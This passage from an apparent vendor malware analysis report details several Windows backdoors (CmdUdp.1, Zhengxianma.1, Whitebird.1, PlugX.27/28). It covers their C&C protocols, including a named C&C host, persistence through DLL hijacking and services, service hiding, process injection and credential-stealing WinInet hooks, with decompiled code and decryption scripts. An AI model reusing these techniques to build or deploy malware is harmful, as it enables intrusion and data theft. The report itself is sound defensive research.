    imp->sprintf(&payload_rc4_key[z], "%02X", key_part_7[j]);  
    z += 2;  
}

9) Decrypts header with the key generated in step 3 and expanded to 256 bytes;  
10) Checks that header[4] is equal to 0xE0B2;  
12) Receives the payload and decrypts it with the RC4 key obtained in step 8 and expanded to 256 bytes.
**BackDoor.CmdUdp.1**

It is a backdoor for Microsoft Windows operating systems. It allows attackers to remotely control infected computers by implementing remote shell functions — launching cmd.exe and redirecting the I/O to the attacker's C&C server.

The trojan is written in C++; the pdb file with debugging information when compiled on the attacker's computer was located at C:\VS2010\CMD_UDP_Server\Release\CMD_UDP_DLL.pdb.

**Operating routine**

BackDoor.CmdUdp.1 has the following exported functions:

```
??0CCMD_UDP_DLL@@QAE@XZ
??4CCMD_UDP_DLL@@QAEAAV0@ABV0@@Z
?fnCMD_UDP_DLL@@YAHXZ
?nCMD_UDP_DLL@@3HA
LoadProc
ServiceMain
```

Once on the target computer, the backdoor can work with or without being installed on the system. In the first case, the `ServiceMain` function is exported; in the second case, the `LoadProc` function is exported. To provide its autorun, the backdoor is installed on the system as a service.

Every 3 minutes BackDoor.CmdUdp.1 sends the message `hello` to the C&C server tv.teldcomtv.com:8080 and waits for further commands. Communication with the server is performed over the UDP Protocol.

In response the server can send one of several control words to the trojan:

- `hello`;
- `world`;
- `exit`.

**The “hello” command**

When this command is received, the backdoor starts the cmd.exe process. In this case, the input and output of the command-line interpreter are redirected to 2 anonymous pipes. If the process is created successfully, the `cmd OK` message is sent to the server.

In addition, a thread is started in which the trojan will send data from the `stdout/stderr` of the cmd.exe process to the server. If the backdoor fails to run cmd.exe, it notifies the server by sending `cmd err`. 
The **“world” command**

This command stops the cmd.exe main running thread for 1 second.

The **“exit” command**

This command terminates the previously created cmd.exe process.

If the server response does not contain any of the three specified commands, its contents are sent to cmd.exe for execution.

**BackDoor.Zhengxianma.1**

A backdoor trojan for Microsoft Windows operating systems. It is designed to take unauthorized control over the infected computer by implementing remote shell functions — launching cmd.exe and redirecting the I/O to the attacker’s C&C server.

**Operating routine**

It is a dynamic library with the following exported functions:

- **GetOfficeDatatal**
- **Entrypoint**

It checks the current system date during initialization: it must not be earlier than 2013-05-05. Upon successful initialization, it modifies its code in memory to pass control to the **GetOfficeDatatal** export function.

**GetOfficeDatatal function**

The trojan checks for the `C:\WINDOWS\debug\rdp.sh` file and, if it exists, stops working. If the specified file is missing, the program creates the `MsMpsvc` service with the “Windows Defender Service” display name. As an executable file, the trojan specifies the path to the executable file of its process. Then it generates an empty `C:\WINDOWS\debug\rdp.sh` file, which serves as a marker for creating the corresponding service.

**Entrypoint function**

The main backdoor functionality is contained in the **Entrypoint** exported function. The trojan binds to port 35636 to communicate with the C&C server. If an incoming connection occurs, it sends a `Please enter Pass:
\r\n` string to the operator. The response string must contain 11 characters; if it has a different length, the trojan sends the message `pass is too long or short\r\n` and closes the connection.
Upon receiving a correct response, the trojan calculates the MD5 hash from the entered string, converts the result to a hexadecimal representation, and compares it with the reference value 220B9FDC9C3CB7C667DCE5D54D92CFA0F hardcoded into the program’s body. If there is no match, it sends the message `pass is error\r\n` and closes the connection.

If a match occurs, the trojan sends the `pass is OK\r\n` string to the operator, and then launches `cmd.exe` with the I/O redirection to the C&C server.

**BackDoor.Whitebird.1**

A multifunctional backdoor trojan for Microsoft Windows 64-bit operating systems. Its function is to establish an encrypted connection with the C&C server and grant unauthorized access to the infected computer. It has a file manager, proxy server and remote shell capabilities. With BackDoor.PlugX, this trojan was used to infiltrate the network infrastructure of several agencies in central Asia.

**Operating principle**

The trojan represents a dynamic library with the `MyInstall` exported function. Upon infecting the targeted system, it is installed in the `C:\Windows\System32\oci.dll` directory.

The program launches as follows. Upon operating system boot, a Microsoft Distributed Transaction Coordinator (MSDTC) is launched. The Windows registry contains the parameters of this service, which hold the names of the loading libraries. By default, the `OracleOciLib` and `OracleOciLibPath` keys in the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI` branch have the values of `oci.dll` and `%systemroot%\system32` accordingly. When the trojan is placed in `%systemroot%\system32\oci.dll`, it will be automatically loaded onto the memory when the MSDTC starts.

When initialized, it creates a `gfhgh6y76734d,1111` mutex, followed by the library loading and the `MyInstall` exported function call.

**MyInstall**

The trojan can determine if the proxy server should be used and can perform a basic authentication and authorization via the NTLM protocol. When running, it logs records in the journal, saving it as `c:\programdata\logos.txt`.

It connects to the C&C server and exchanges the keys with it. All subsequent packets between the trojan and the server are encrypted. The algorithm based on the XOR operation with the buffer length of 28 bytes is used for decryption. All packets are encrypted with an
end-to-end offset in the buffer; but for the encryption and decryption, separate counters are used.

The following structure is used to request commands from the server and send the results:

```c
#pragma pack(push, 1)
struct st_getcmd
{
    _DWORD sig;
    _DWORD cmd;
    _DWORD res;
    _DWORD dwordc;
};
#pragma pack(pop)
```

The `sig` parameter always has a `0x03` value. To request the command from the server, the `cmd` parameter is set as `0x200`, and the `res` and `dwordc` parameters are set to zero. If the server does not send any data within 44 seconds, the trojan sends a packet containing the `cmd` parameter with the `0x00` value. This process repeats until any response is received from the server.

**Commands list**

The commands the trojan can execute, as well as its response to them, are shown below:

- **0x00** — lack of the reply, awaiting the next command;
- **0x01 (collecting information about the bot)** — replies with the `cmd_botinfo` structure:

```c
#pragma pack(push, 1)
struct cmd_botinfo_int
{
    _DWORD sig; // 0x03
    _DWORD OSMajorVersion;
    _DWORD OSMinorVersion;
    _DWORD OSPlatformId;
    _DWORD userpriv;
    _DWORD botip;
    _QWORD MemTotalPhys;
    _BYTE macaddr[6];
    wchar_t szCSDVersion[128];
    wchar_t t_hostname[64];
    wchar_t username[64];
    char connect_string[256];
};
struct cmd_botinfo
{
    _BYTE sig; // 0x03
    _WORD len; // 0x3AC
    _WORD cmdid;
    _BYTE gap[10];
    cmd_botinfo_int info;
};
#pragma pack(pop)
- 0x02 (remote shell launch) — replies with the packet, similar to the one received from the server;
- 0x03 (advanced file system manager launch) — replies with the packet, similar to the one received from the server;
- 0x05 (remote shell v2 launch) — replies with the packet, similar to the one received from the server;
- 0x06 (proxy manager launch) — replies with the packet, similar to the one received from the server;
- 0x100 (the ping command) — replies with cmd=0x00;
- 0x400 (the command to reconnect to the server) — replies with cmd=0x300;
- 0x600 (dummy command) — replies with cmd=0x600; res=0xffffffff;
- 0x700 (launch of the command through ShellExecute) — replies with cmd=0x700; if failed, replies with res=0xffffffff.

**Exchanging keys**

The process of exchanging keys with the C&C server is as follows:

Using random values, the trojan initializes the buffer with the size of 28 bytes. Next, it takes the data array of the 58 bytes size, which is embedded into its body.

It encrypts bytes from 15 to 43, based on the XOR operation algorithm, using randomly generated bytes, and sends the resulting buffer to the server. In response, it should receive 5 bytes, where 0x16 is a 0 byte and the htons function results from WORD, starting with the third byte, which is the size of the next packet, and shouldn't exceed 0x3FF9 bytes.

After that, it receives the next packet, whose data is used in the next exchange.

Next, the trojan uses the second encoded buffer with the size of 332 bytes.
The trojan encrypts the bytes, starting from 9 to 265 and from 304 to 332, with the algorithm based on the XOR operation, using randomly generated bytes. 28 bytes, starting from 276 bytes, is replaced with the data generated upon the first buffer initialization. There must be a response of 5 bytes, where the 0 byte is 0x14, and the htons function results from WORD, starting with the 3rd byte, which is the size of next packet, and should not exceed 0x3FF9 bytes.

After that, it receives the next packet, whose data is not used in further exchange.

Next, the trojan receives 5 bytes from the C&C server, where 0x16 is the 0 byte, and the htons function results from WORD, starting with the 3rd byte, which is the size of the next packet, and should not exceed 0x38 bytes.

It receives the next packet from the C&C server and sends 0x38 bytes into the encryption key initialization function:

```cpp
__int64 __fastcall CCrypt::GenKeys(ccrypt *this, _BYTE *ext_key)
{
    __int64 result; // rax
    int i; // [rsp+0h] [rbp-18h]
    for ( i = 0; i < 28; ++i )
    {
        this->key[i] ^= ext_key[i];
        this->key[i] ^= ~(_BYTE)i;
        if ( !this->key[i] )
            this->key[i] = ~(_BYTE)i;
    }
    result = (unsigned int)(i + 1);
    return result;
}
```
Remote Shell Function

The trojan copies %WINDIR%\System32\cmd.exe into %WINDIR%\System32\alg.exe. It then initializes a new connection to the C&C server and sends the following packet:

```c
#pragma pack(push,1)
struct cmd_remoteshell
{
    _WORD sig; // 0x03
    _WORD len;
    _WORD cmd; // 0x02
    _BYTE gap[10];
    _BYTE macaddr[6];
};
#pragma pack(pop)
```

Next, it launches a scanned alg.exe with the pipes input/output redirection. If the launch fails, it runs a cmd.exe instead of the alg.exe. If there is data in the output function pipe, the trojan sends the data to the server in the following packet:

```c
#pragma pack(push,1)
struct cmd_remoteshell_out
{
    _WORD sig; // 0x03
    _WORD len;
    _WORD cmd; // 0x202
    _BYTE gap[10];
    wchar_t buffer[];
};
#pragma pack(pop)
```

Herewith, the trojan periodically checks for data from the C&C server and parses the incoming command when the data has been received.

List of Remote Shell Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
<th>Argument</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x100</td>
<td>keep-alive mode</td>
<td>-</td>
<td>cmd = 0x00</td>
</tr>
<tr>
<td>0x102</td>
<td>executes the command in the Remote Shell</td>
<td>a command</td>
<td>-</td>
</tr>
<tr>
<td>0x103</td>
<td>launches the file manager (writing into the end of existing file)</td>
<td>a path to the file, the final size of the file</td>
<td>cmd value is identical to the value in the packet received from the server; res = -1 if failed;</td>
</tr>
</tbody>
</table>
Remote Shell v2

The trojan copies %WINDIR%\System32\cmd.exe into the %WINDIR%\System32\alg.exe. It then initializes a new connection to the C&C server and sends the following packet:

```c
#pragma pack(push,1)
struct cmd_remoteshell
{
    _WORD sig; // 0x03
    _WORD len;
    _WORD cmd; // 0x02
    BYTE gap[10];
    BYTE macaddr[6];
};
#pragma pack(pop)
```

Next, it launches a copied alg.exe; if launch has failed, it runs a cmd.exe instead of the alg.exe. Input/output to the launched process is implemented via the trojan process joining to the console of the launched alg.exe/cmd.exe process, using the WINAPI AttachConsole.

The rest of the operation routine is similar to the one in the Reverse Shell handler.

File manager

The trojan initializes a new connection to the C&C server and sends the following packet:

```c
#pragma pack(push,1)
struct cmd_fileop
{
    _WORD sig; // 0x03
    _WORD len;
    _WORD cmd;
};
#pragma pack(pop)
```
The `cmd` value is set to the same value in the server packet. Next, the trojan receives commands from the server.

- **0x103:**
  Checks for the file availability. If it does not exist, it sends the packet with the `res = 0xB7` value;
  Tries to open the file in append mode. If failed, it sends the packet with the `res = 0x52` value;
  Receives the file size and sets `filesize` filed to the corresponding value in the subsequent packets;
  Receives packets in a cycle with the `cmd = 0x303` packet value, and writes the data into the file until the file size is larger or equal to the one the server indicated in the first packet.

- **0x203:**
  Tries to open the file in reading mode. If failed, it sends the packet with the `res = 0x02` value;
  Receives the file size and sends it to the server in the packet;
  In a cycle, it reads the file, starting from the offset, which is indicated in `filesize` of the first packet received from the server, and sends the data in the packet with the `cmd = 0x303` value to the server until the file hasn’t been read to its end.

- **0x403:**
  If the C&C server sends the path as an argument, the trojan lists the files and folders available in this path (not recursively) and sends the collected information with the `cmd = 0x403` value to the server;
  If the C&C server does not specify the argument or if the first symbol of the argument is `/` or `\`, the trojan lists every storage device and collects the data, including the disk type, its size and free space available, and then sends this data to the server in the packet with the `cmd = 0x403` value.

- **0x503:**
  Moves a file (the initial and final paths are specified by the C&C server). In response, it sends the packet with the `cmd = 0x503` and `res = 0` values if succeeded; otherwise, it sends the packet with the `res = -1` value.

- **0x603:**
Deletes the file located in the path, specified by the server. In response, it sends the packet with the cmd = 0x603 and res = 0 values if succeeded; otherwise, it sends the packet with the res = -1 value.

- 0x703:
  Launches an application specified by the server by using specific arguments. In response, it sends the packet with the cmd = 0x703 and res = 0 values if succeeded; otherwise, it sends the packet with the res = -1 value.

**Proxy manager**

The trojan initiates a new connection to the server and sends the following packet to it:

```c
#pragma pack(push,1)
struct cmd_proxy
{
    _WORD sig; // 0x03
    _WORD len;
    _WORD cmd; // 0x06
    _BYTE gap[10];
    _BYTE macaddr[6];
};
#pragma pack(pop)
```

Next, it receives the commands from the server.

- 0x106:
  - Opens one of the available ports;
  - Sends a packet with the cmd = 0x506 value to the server;
  - Connects to the targeted server using the IP and port, specified by the C&C server;
  - Waits for the incoming connection to its port. Upon receiving the data, it sends it to the server it is connected to;
  - If the trojan receives the data from the targeted server, it sends it to the C&C server in the packet with the cmd = 0x116 value;
  - Returns to waiting for the incoming connection to its port. Upon receiving the data, it sends it to the server it is connected to.

- 0x116:
  If there is an incoming connection to a previously opened port, the trojan sends the raw data to the client without using the encryption standard to the trojan.

- 0x126:
  Stops the proxy and closes all opened connections.

- 0x206:
  - Sends the packet with the cmd = 0x506 value to the C&C server;
  - Opens a port specified by the server;
Waits for the incoming connection to the specified port;
Connects to the targeted server specified by the C&C server;
Forwards the traffic from the local port to the remote server and backwards as raw data, not using the encryption, standard to the trojan.

- **0x306:**
  - Receives two ports as an argument;
  - Sends the packet with the `cmd = 0x506` value to the C&C server;
  - Opens first port (master port) and waits for the connection;
  - Opens the second port (client port) and waits for the connection;
  - Opens a random port and sends its number to the target, which is currently connected to the master port. Next, it waits for the incoming connection on the specified port;
  - Forwards the traffic between the clients, which connected to the master port and random port..

- **0x406:**
  - Receives two pairs of IP:port as an argument;
  - Connects to the first server and receives 2 bytes from it, which are the port number;
  - Connects to the same server through the received port;
  - Connects to the second server, specified in the incoming arguments;
  - Forward the traffic between previously established connections.

- **0x606:**
  - Stops proxy server operation.

**BackDoor.PlugX.27**

A loader for BackDoor.PlugX.28 written in C. It is a malicious library that functions within the process of a valid executable file. This library unpacks and executes the shellcode with payload. The trojan utilizes DLL hijacking to load the malicious code into a process.

The loader's components and the attacked applications:

<table>
<thead>
<tr>
<th>Executable’s SHA-1 hash</th>
<th>EXE</th>
<th>DLL</th>
<th>Shellcode</th>
</tr>
</thead>
<tbody>
<tr>
<td>5c51a20513ba27325113d463be9b5c6ed40b5096</td>
<td>EMLPRO.EXE</td>
<td>scansts.dll</td>
<td>QuickHeal</td>
</tr>
<tr>
<td>Executable’s SHA-1 hash</td>
<td>EXE</td>
<td>DLL</td>
<td>Shellcode</td>
</tr>
<tr>
<td>-------------------------</td>
<td>--------------</td>
<td>---------------</td>
<td>--------------------</td>
</tr>
<tr>
<td>b423bea76f996bf2f69dcc9e75097635d7b7a7aa</td>
<td>CLNTCON.exe</td>
<td>CLNTCON.ocx</td>
<td>CLNTCON.ocp</td>
</tr>
<tr>
<td>5d076537f56ee7389410698d700cc4fd7d736453</td>
<td>EHSrv.exe</td>
<td>http_dll.dll</td>
<td>ESETsrsv</td>
</tr>
</tbody>
</table>

**Operating routine**

**scansts.dll**

Once loaded to a process, the library transfers control to the call of `scansts_2` the exported function by a hardcoded offset.

In that function the library refers to QuickHeal file, which is located at `C:\Windows\System32` on the infected system. It then checks for the `HKLM\Software\BINARY` or `HKCU\Software\BINARY` registry key to determine further actions. If the registry keys are absent, the trojan initiates decryption of the QuickHeal shellcode and then calls it by passing it as an argument 0.

Decryption algorithm:

```python
s = ''
for i in range(len(d)):
    s += chr((((ord(d[i]) + 0x4f) ^ 0xf1) - 0x4f) & 0xff)
```

**CLNTCON.ocx**

It is the improved version of `scansts.dll`. The main malicious code is located in the `DllRegisterServer` exported function. The function call decrypts the DLL's code using an algorithm based on the XOR operation. The trojan then refers to `CLNTCON.ocp` and checks for the `HKLM\Software\BINARY` or `HKCU\Software\BINARY` registry keys. The shellcode is decrypted in two stages: in addition to the mentioned algorithm, the RC4 algorithm with the `CLNTCON.ocp` decoding key is also used.

**http_dll.dll**

It is equivalent to CLNCON.ocx except the following options:

- the main trojan’s code is located in the `StartHttpServer` exported function,
ESETsrv is used as the RC4 decoding key.

**QuickHeal shellcode**

It is the obfuscated shellcode with an encrypted binary file and configuration. The obfuscated portion contains decryption instructions for the code that extracts the payload.

The payload is extracted by `malmain` function and defined by the following structure:

```c
#pragma pack(push,1)
struct st_data {
    _DWORD size;
    _BYTE data[size];
};
```
RtlDecompressBuffer function is used for decompression. During the payload extraction process the shellcode verifies executable's signatures. MZ and PE signatures are replaced with XV. Then DllMain is being executed. It receives the pointer to shellarg structure as a lpReserved parameter. This structure contains payload's configuration.

**BackDoor.PlugX.28**

It is a multi-module backdoor written in C++ and designed to operate in 64-bit Microsoft Windows operating systems. Once installed by the loader, it operates in an infected computer's RAM. It is used in targeted attacks on information systems for gaining unauthorized access to the data and for transferring it to C&C servers. Its key feature is utilizing plug-ins that contain the main backdoor's functionality.

**Operating routine**

The trojan is loaded by BackDoor.PlugX.27. Calling conventions vary from function to function and are often non-standard: arguments are passed through arbitrary registers and / or via the stack, which may indicate the malicious program was compiled with an optimization.

Numerous objects are defined and used for the trojan's operation. Abstract objects implement the data transmission interface and are used for data transferring. Thus, the function is not bound to the internal implementation of the connection object, whether it is a TCP socket, RAW socket, HTTP connection, or pipe. Object class can be determined in the code, as well as defined by the server type in the configuration or by data received from known servers.

Almost all strings of the trojan's code are encrypted. Decryption algorithm:

```python
import idaapi
import struct

def dec(d):
    s = ''
    k = struct.unpack('<I', d[:4])[0]
```
d = d[4:]
a = k ^ 0x1337BA
b = k ^ 0x1B1
for i in range(len(d)):
    a = (a + 4337) & 0xffffffff
    b = (b - 28867) & 0xffffffff
    a0 = (a & 0x000000ff)
    a1 = (a & 0x0000ff00) >> 8
    a2 = (a & 0x00ff0000) >> 16
    a3 = (a & 0xff000000) >> 24
    b0 = (b & 0x000000ff)
    b1 = (b & 0x0000ff00) >> 8
    b2 = (b & 0x00ff0000) >> 16
    b3 = (b & 0xff000000) >> 24
    s += chr(ord(d[i]) ^ (((b2 ^ (((b0 ^ (((a2 ^ ((a0 - a1) & 0xff)) - a3) & 0xff)) - b1) & 0xff)) - b3) & 0xff))
return s

def decrypt(addr, size):
    d = ''
    for i in range(size):
        d += chr(idaapi.get_byte(addr + i))
    s = dec(d)
    print s
    for i in range(len(s)):
        idaapi.patch_byte(addr + i, ord(s[i]))
        idaapi.patch_dword(addr + i + 1, 0)

Preparing procedures

BackDoor.PlugX.28 can obtain configuration by several ways. The loader passes the argument that is the pointer to the shellarg structure:
The trojan then checks the value pointed to by `shellarg->cfg`. If the first 8 bytes at this address equal `XXXXXXXX`, the backdoor prepares the so-called basic configuration, which is used by default; otherwise, the backdoor uses a decrypted and decompressed configuration, which is received from the loader.

This second option also involves checking the availability of the configuration file stored in the trojan's working directory. The configuration's filename, like many other filenames, is generated by the following algorithm:

```c
int __usercall gen_string(eax)(DWORD seed, s *result, LPCWSTR base)
{
    DWORD v3; // edi
    DWORD v4; // eax
    signed int v5; // ecx
    signed int i; // edi
    DWORD v7; // eax
    WCHAR Buffer; // [esp+10h] [ebp-250h]
    __int16 v10; // [esp+16h] [ebp-24Ah]
    __int16 name[34]; // [esp+210h] [ebp-50h]
    DWORD FileSystemFlags; // [esp+254h] [ebp-Ch]
    DWORD MaximumComponentLength; // [esp+258h] [ebp-8h]
    DWORD serial; // [esp+25Ch] [ebp-4h]
    v3 = a1;
    GetSystemDirectoryW(&Buffer, 0x200u);
    v10 = 0;
    if ( GetVolumeInformationW( 
        &Buffer, 
        &Buffer, 
        0x200u, 
        &serial, 
        &MaximumComponentLength, 
        &FileSystemFlags, 
        &Buffer, 
        0x200u) )
    {
        v4 = 0;
    }
    else
    {
        v4 = GetLastError();
    }
    if ( v4 )
        serial = v3;
    else
        serial ^= v3;
    v5 = (serial & 0xF) + 3;
    for ( i = 0; i < v5; serial = 8 * (v7 - (serial >> 3) + 20140121) - ((v7 - (serial >> 3) + 20140121) >> 7) - 20140121 )
    {
        v7 = serial << 7;
        name[i++] = serial % 0x1A + 'a';
    }
    name[v5] = 0;
    string::wcopy(a2, base);
}
```
string::wconcat(a2, (LPCWSTR)name);
return 0;
}

The seed value for the configuration's filename is 0x4358 ("CX").

To determine the paths (including working directory, the trojan can use the %AUTO% variable, which depending on the OS version, is converted to the following:

- `<drive>:\Documents and Settings\All Users\DRM` — for Windows 2000, Windows XP;
- `<drive>:\Documents and Settings\All Users\Application Data` — for Windows Server 2003;
- `<drive>:\ProgramData` — for later Windows versions.

With that, `<drive>` is executed from the Windows system directory.

The received configuration can be seen as the following ("st_config") structure:

```c
struct config_timestamp
{
    BYTE days;
    BYTE hours;
    BYTE minutes;
    BYTE seconds;
};
struct srv
{
    WORD type;
    WORD port;
    BYTE address[64];
};
struct proxy_info
{
    WORD type;
    WORD port;
    BYTE serv_addr_str[64];
    BYTE username_str[64];
    BYTE password[64];
};
struct st_config
{
    DWORD hide_service;
    DWORD gap_0[4];
    DWORD cleanup_files_flag;
    DWORD keylog_log_event;
    DWORD dword_0;
    DWORD dword_1;
    DWORD sleep_timeout;
    config_timestamp timestamp;
    BYTE timetable[672];
    DWORD DNS_1;
    DWORD DNS_2;
    DWORD DNS_3;
};
```
DWORD DNS_4;
srv srv1_basic_type3;
srv srv2_basic_type;
srv srv3_basic_type_6;
srv srv3_basic_type_7;
srv srv5_basic_type_8;
srv srv6_basic_type_5;
srv srv7;
srv srv8;
srv srv9;
srv srv10;
srv srv11;
srv srv12;
srv srv13;
srv srv14;
srv srv15;
srv srv16;
BYTE url_1[128];
BYTE url_2[128];
BYTE url_3[128];
BYTE url_4[128];
BYTE url_5[128];
BYTE url_6[128];
BYTE url_7[128];
BYTE url_8[128];
BYTE url_9[128];
BYTE url_10[128];
BYTE url_11[128];
BYTE url_12[128];
BYTE url_13[128];
BYTE url_14[128];
BYTE url_15[128];
BYTE url_16[128];
proxy_info proxy_data_1;
proxy_info proxy_data_2;
proxy_info proxy_data_3;
proxy_info proxy_data_4;
DWORD persist_mode;
DWORD env_var_AUTO_X[128];
DWORD service_name[128];
DWORD ServiceDisplayName[128];
BYTE ServiceDescription[512];
DWORD reg_predefined_key;
BYTE reg_sub_key[512];
BYTE reg_value_name[512];
DWORD process_injection_flag;
BYTE inject_target_dummy_proc_1[512];
BYTE inject_target_dummy_proc_2[512];
BYTE inject_target_dummy_proc_3[512];
BYTE inject_target_dummy_proc_4[512];
DWORD elevated_process_injection_flag;
BYTE elevated_inject_target_dummy_proc_1[512];
BYTE elevated_inject_target_dummy_proc_2[512];
BYTE elevated_inject_target_dummy_proc_3[512];
BYTE elevated_inject_target_dummy_proc_4[512];
BYTE campaign_id[512];
BYTE str_X_4[512];
BYTE mutex_name[512];
DWORD make_screenshot_flag;
DWORD make_screenshot_time_interval;
DWORD screen_scale_coefficient;
DWORD bits_per_pixel;
DWORD encoder_quality;
DWORD screen_age;
BYTE screenshots_path[512];
DWORD subnet_scan_flag_mb;
DWORD port_54D_1;
DWORD raw_socket_subnet_flag;
DWORD port_54D_2;
DWORD type_7_subnet_flag;
DWORD portl_54D_3;
DWORD flag_1_6;
DWORD port_54D_4;
DWORD flag_1_7;
DWORD first_IP_range_addr_beg;
DWORD first_IP_range_addr_end;
DWORD first_IP_range_addr_beg_2;
DWORD first_IP_range_addr_beg_3;
DWORD last_IP_range_addr_beg;
DWORD last_IP_range_addr_end;
DWORD last_IP_range_addr_beg_2;
DWORD last_IP_range_addr_beg_3;
BYTE mac_addr[6];
BYTE gap_2[2];
} config;

When using default configuration, the values of certain fields are as follows:

- **trojan’s working directory**: %AUTO%\X;
- **service’s name**: X;
- **service’s display name**: X;
- **service’s description**: X;
- **process name for the shellcode’s launch and injection**: \%windir\%\system32\svchost.exe;
- **process name for launching with administrative privileges and shellcode injection**: \%windir\%\system32\svchost.exe;
- **path for screenshot storage**: %AUTO%\XS;
- **mutex name**: X.

**Execution**

The trojan obtains SeDebugPrivilege and SeTcbPrivilege privileges, then launches a dedicated thread for further activity.

It checks for the infected computer’s network adapter with hardcoded MAC address. If the adapter is present, the trojan shuts down (there is no specific address in the sample).

It then checks the shellarg->op_mode value. The list of possible values:

- more than 4 — persistence control, normal operation afterwards;
4 — WinInet.dll hooking and exit;
3 — injection into Internet Explorer and exit;
2 — normal operation without persistence control.

**Persistence control (op_mode>4)**

The trojan checks for the `config.skip_persistence` flag in the configuration. If the flag is set, the trojan skips the path checking, mutex creation and persistence control stages. Service initialization receives control.

The trojan then checks the current process' working directory. If they match `%AUTO%\EHSrv.exe`, malware skips installation stage.

It creates two `Global\<rndname>` type mutex objects. The PID of the current process is a seed for the first mutex object's name, while the PID of the parent process is a seed for the second mutex object's name. After that, the trojan starts the installation process.

It checks the `config.persist_mode` parameter in the configuration, which determines the persistence mode:

- 0, 1 — starting the service;
- 2 — recording a value in the registry.

In any case, the trojan copies its files — `http_dll.dll` and `EHSrv.exe` into the working directory (%AUTO%\X by default) and saves the encrypted shellcode in the `[HKLM\SOFTWARE\BINARY] 'ESETsrv'` and `[HKLM\SOFTWARE\BINARY] 'ESETsrv'` registry keys.

Malware spoofs the files' time attributes by changing them to the ntdll.dll system file's attributes.

To set itself as a service, the trojan creates and launches the `SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS` service with automatic startup. Its name, display name and the description are taken from the configuration (stored in the `config.service_name`, `config.ServiceDisplayName`, `config.ServiceDescription` parameters). The `lpBinaryPathName` parameter of the `CreateService` function is set as `<path>\EHSrv.exe -app`.

To write itself into the registry, the trojan creates the `<path>\EHSrv.exe -app` registry value. The descriptor, key name and values are set in the configuration:

```
push    ebx                  ; dwDataType
push    [ebp+bin_path.len]   ; cbDataSize
push    [ebp+bin_path.buf1]  ; lpData
push    offset config.reg_value_name ; lpRegValueName
push    offset config.reg_sub_key ; lpRegSubKeyName
push    ds:config.reg_predefined_key ; hKey
call    reg_set_value
```
The trojan then starts a new process.

This is followed by the `StartServiceCtrlDispatcherW` function call that initializes the service.

The `config.process_injection_flag` flag is checked in the configuration. If the flag is set, the trojan refers to the configuration for the extracting path to the executable file of the process that is used for shellcode injection. The name may contain environment variables. There are four names and each of them are sequentially checked up to the first non-zero value. Then the trojan creates a process with the `CREATE_SUSPENDED` flag in which the shellcode is injected.

```c
if (~(*(WORD *)config.inject_target_dummy_proc_1
   && (expand_path_with_env_var((wchar_t *)config.inject_target_dummy_proc_1, &proc_cmd_line),
      CreateProcess(0, proc_cmd_line.buf1, 0, 0, 0x140, 0, 0, &StartupInfo, &ProcessInformation))
   || ~(*(WORD *)config.inject_target_dummy_proc_2
      && (expand_path_with_env_var((wchar_t *)config.inject_target_dummy_proc_2, &proc_cmd_line),
      CreateProcess(0, proc_cmd_line.buf1, 0, 0, 0x140, 0, 0, &StartupInfo, &ProcessInformation))
   || ~(*(WORD *)config.inject_target_dummy_proc_3
      && (expand_path_with_env_var((wchar_t *)config.inject_target_dummy_proc_3, &proc_cmd_line),
      CreateProcess(0, proc_cmd_line.buf1, 0, 0, 0x140, 0, 0, &StartupInfo, &ProcessInformation))
   || (expand_path_with_env_var((wchar_t *)config.inject_target_dummy_proc_4, &proc_cmd_line),
      CreateProcess(0, proc_cmd_line.buf1, 0, 0, 0x140, 0, 0, &StartupInfo, &ProcessInformation))
  )
{
  \0 = inject_to_process(2,
      ProcessInformation.hProcess,
      ProcessInformation.hThread,
      (LPOVID)shellarg.shellcode_ep,
      shellarg.shellcode_size);
}
```

Upon successful injection, the process shuts down. In case of failure, the trojan transfers control to the main functionality.

"Wininet.dll" hooking (op_mode=4)

Presumably, this mode is provided after the trojan is injected into the Internet Explorer process.

The following functions are hooked:

- `HttpSendRequestA`
- `HttpSendRequestW`
- `HttpSendRequestExA`
- `HttpSendRequestExW`

Their purpose is to intercept HTTP requests to extract usernames and passwords for further connecting to the proxy server. Received information is recorded in the following structure:

```c
struct proxy_info
{
    WORD type;
};
```
WORD port;
BYTE serv_addr_str[64];
BYTE username_str[64];
BYTE password[64];
};

The `type` parameter may take the following values:

- 1 — SOCKS4,
- 2 — SOCKS5,
- 3 — HTTP,
- 5 — HTTPS,
- 6 — FTP.

In the form of this structure the data is stored both in a global variable and within a file in the backdoor’s working directory. The file’s name is generated with the 0x485A (“HZ”) seed.

**Injection into the IE process (op_mode==3)**

BackDoor.PlugX.28 injects the shellcode into the IE process by `CreateRemoteThread` function. The trojan searches for `IEFrame` window and uses its handle to get the PID. This is preceded by initialization of the backdoor plug-ins. `.\PIPE\<rndname>` pipe name is generated. The current PID process serves as a seed for `<rndname>`. The configuration is then re-initialized.

First, an object is created that implements the interface for asynchronous interaction with the pipe. Then the pipe is created and initialized. A handler is created in a separate thread. It receives a pointer to the pipe connection object as a parameter. The handler receives commands through the object interface, which are executed by plug-ins. The results are returned to the pipe.

**Main functionality (op_mode==2 or op_mode==4 after achieving persistence)**

The trojan checks for the current users’ administrative privileges. Then it checks the `config.hide_service` flag in the configuration. If the flag is set and the user is not the local administrator, the trojan then searches for `%WINDIR%\SYSTEM32\SERVICES.EXE` among the running processes. It then lists the process’ modules. The trojan refers to the first module in the list, reads the first section address and copies this section into its buffer. Then it searches through the buffer for a sequence of instructions that can be represented as the following regular expression:

```
xA3.{4}xA3.{4}xA3.{4}xA3.{4}xEB
```

This matches the sequence in the `ScInitDatabase()` function.
After that, the trojan reads `ServiceDatabase` address, which is a linked list of structures describing running services. Then it searches for the record that corresponds to the backdoor’s service name and “deletes” it by changing the pointers of the previous and following record in the list.

After hiding the service, the trojan creates a mutex object. Its name is determined in the `config.mutex_name` parameter of the configuration.

Then the malware creates a RAW socket for sniffing all localhost IP packets. The trojan separates TCP packets from all incoming ones and then checks them for compliance with SOCKS4, SOCKS5, and HTTP packets. It then extracts the proxy server addresses from these packets and forms `proxy_info` structures, which are saved as a file like the trojan does with the Wininet algorithm.

